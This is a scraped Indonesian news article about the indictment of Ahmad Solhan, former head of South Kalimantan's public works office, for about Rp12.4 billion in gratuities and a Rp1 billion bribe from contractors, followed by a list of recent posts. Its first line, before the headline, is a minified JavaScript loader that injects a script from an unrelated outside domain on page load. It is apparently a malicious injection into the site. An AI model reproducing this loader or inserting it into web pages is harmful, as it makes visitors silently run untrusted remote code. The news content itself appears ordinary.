(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Kadis PUPR Kalsel Didakwa Terima Gratifikasi dan Suap Rp12,4 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalimantan Selatan (Kalsel) Ahmad Solhan menjalani sidang dakwaan dalam kasus penerimaan gratifikasi dan suap, Kamis (27/2/2025) siang.

Solhan menjalani sidang perdana di Pengadilan Tipikor Banjarmasin pada urutan keempat, setelah pembacaan surat dakwaan untuk terdakwa Agustya Febry Andrian, Yulianti Erlynah, dan H Ahmad.

Jaksa Penuntut Umum (JPU) dari Komisi Pemberantasan Korupsi (KPK) Meyer Simanjuntak menyebut, berdasarkan dakwaan, Solhan menerima gratifikasi yang total keseluruhan sebesar Rp12,4 miliar.

Uang gratifikasi atau hadiah yang diterimanya secara langsung dan tidak langsung tersebut berasal dari rekanan kontraktor yang memenangkan proyek di Dinas PUPR Kalsel, selama Solhan menjabat sebagai Kadis PUPR Kalsel 2023-2024.

Uang gratifikasi tersebut diterima dan disimpan melalui Agustya Febry Andrian selaku mantan Kepala Laboratorium Bahan Kontruksi PUPR Kalsel sekaligus Kabag Rumah Tangga Setda Kalsel.

Baca juga: BREAKING! Empat Terdakwa Penerima Suap Proyek PUPR Kalsel Disidang

Kemudian uang juga diterima dan disimpan melalui orang dekatnya yaitu H Ahmad yang merupakan pihak swasta dan juga menjadi terdakwa dalam perkara ini.

“Ahmad Solhan menerima gratifikasi dengan nilai sebagaimana didakwaan sekitar Rp12,4 miliar,” ungkap Meyer.

Meyer menjelaskan, uang tersebut diterima Solhan bersama Agustya Febry Andrean sebesar Rp6,5 miliar. Kemudian bersama H Ahmad uang diterima sekitar Rp5,3 miliar.

Penerimaan dan penyimpanan uang tersebut atas perintah langsung Solhan.

Baca juga: KPU Banjarbaru Sudah Gagal, GMPD: DKPP Harus Pecat Komisioner

“Bersama-sama ini dengan kapasitas menerima dan menyimpan uangnya,” kata Meyer.

Solhan juga disebut sempat menerima gratifikasi sebesar Rp130 juta serta mata uang asing riyal senilai Rp50 juta dari Sugeng Wahyudi dan Andi Susanto, kontraktor pelaksana proyek PUPR Kalsel 2024.

Pada dakwaan pertama, perbuatan Solhan didakwa KPK dengan Pasal 12 huruf B Undang-undang Nomor 20 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 ke-1 KUHP jo Pasal 65 KUHP.

Selain gratifikasi, JPU KPK juga mendakwa Solhan dengan dakwaan kedua yaitu suap pasal 12b Undang-Undang Nomor 20 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 ke-1 KUHP jo Pasal 65 KUHP.

Baca juga: Soal BBM Oplosan Bos Pertamina Masih Belum Percaya

Suap sebesar Rp1 miliar diterima Solhan dari kontraktor Sugeng Wahyudi dan Andi Susanto yang mengerjakan 3 proyek Dinas PUPR Kalsel tahun 2024 (berkas perkara terpisah).

Uang tersebut diterima Solhan melalui bawahnya Yulianti Erlynah selaku Kabid Cipta Karya PUPR Kalsel dan disimpan oleh H Ahmad (perkara terpisah).

Meyer melanjutkan, pada sidang pembuktian nanti pihaknya akan menghadirkan saksi-saksi diantaranya dari pihak swasta yang memberikan uang.

“Orang-orang yang memberi nanti dihadirkan, diikuti saja nanti siapa saja orangnya,” ujarnya.

Baca juga: Universitas Sari Mulia Banjarmasin Membuka Fakultas Kedokteran Hewan

Usai pembacaan dakwaan, terdakwa Solhan melalui tim penasehat hukumnya mengaku akan mengajukan eksepsi atau keberatan atas dakwaan penuntut umum.

Majelis hakim yang diketuai Cahyon Riza Adrianto menetapkan jadwal sidang pembacaan eksepsi penasihat hukum digelar pada Kamis (6/3/2025) mendatang.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

5 jam ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

5 jam ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

8 jam ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

1 hari ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

2 hari ago